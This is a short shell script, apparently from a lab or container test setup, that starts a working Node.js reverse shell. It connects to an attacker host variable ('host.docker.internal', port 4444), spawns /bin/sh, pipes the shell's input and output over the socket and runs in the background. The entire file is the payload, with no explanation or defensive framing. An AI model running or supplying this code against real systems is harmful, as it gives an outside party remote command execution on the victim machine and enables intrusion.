#!/bin/sh

# Configuration
ATTACKER_IP="host.docker.internal"
ATTACKER_PORT="4444"

# Fixed Node.js reverse shell
node -e "
var net = require('net');
var spawn = require('child_process').spawn;
var client = new net.Socket();
client.connect($ATTACKER_PORT, '$ATTACKER_IP', function(){
    var sh = spawn('/bin/sh', []);
    client.pipe(sh.stdin);
    sh.stdout.pipe(client);
    sh.stderr.pipe(client);
});
" &

exit 0
